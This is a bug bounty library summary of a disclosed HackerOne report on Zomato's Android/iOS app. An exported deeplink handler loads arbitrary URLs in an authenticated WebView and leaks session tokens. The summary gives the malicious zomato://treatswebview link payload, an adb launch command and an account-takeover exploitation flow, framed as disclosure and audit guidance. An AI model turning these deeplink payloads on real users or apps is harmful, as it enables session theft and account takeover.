# [Zomato Android/iOS] Theft of user session

Exported Zomato DeepLinkRouter activity accepts zomato://treatswebview?url= and loads arbitrary URLs in an internal WebView, leaking session tokens to attacker sites.

- Payout: hidden
- Severity: high
- Program: Eternal
- Found by: bagipro
- Disclosed: 2018-06-17
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/328486
- Library page: https://bugbountylibrary.com/r/h1%3A328486
- Tags: area:web3 domain:mobile domain:web3 impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:android technique:source-review vuln:access-control vuln:info-disclosure

**Target:** Android/iOS app deeplink handler and internal WebView
**Root cause:** Exported DeepLinkRouter activity passes the url query parameter of zomato://treatswebview deeplinks unsanitized into TreatsWebViewActionBarActivity, which loads it in a WebView carrying the app's authenticated session.
**Steps:**
1. Host a page with `<a href="zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow">Begin zaheck!</a>`
2. Victim opens the page in a browser or any WebView; the zomato:// scheme launches the Zomato app
3. DeepLinkRouter parses the URI, matches host treatswebview, and calls e(parse)
4. e() decodes the url parameter and starts TreatsWebViewActionBarActivity with it as extra "url"
5. TreatsWebViewActionBarActivity.loadWebView() calls loadUrl(mWebViewURL) with the attacker URL, sending session tokens to it
6. Alternatively trigger via ADB: `adb shell am start -n com.application.zomato/.activities.DeepLinkRouter -a android.intent.action.VIEW -d "zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow"`
**How found:** Reviewed the exported DeepLinkRouter activity and its intent-filter, traced the treatswebview host branch into e() and TreatsWebViewActionBarActivity, noticing the url query parameter is passed straight to loadUrl without validation.
**Exploitation:** Attacker hosts a page with a zomato://treatswebview deeplink pointing url= to their server; when a victim with the app installed visits it, the app opens its internal WebView on the attacker URL, which receives the user's session tokens.
**Insight:** When auditing Android apps, enumerate exported activities with BROWSABLE intent-filters and follow every deeplink host branch into WebView loaders; any host that accepts a url parameter and loads it in an authenticated WebView is a token-theft primitive reachable from a plain browser link.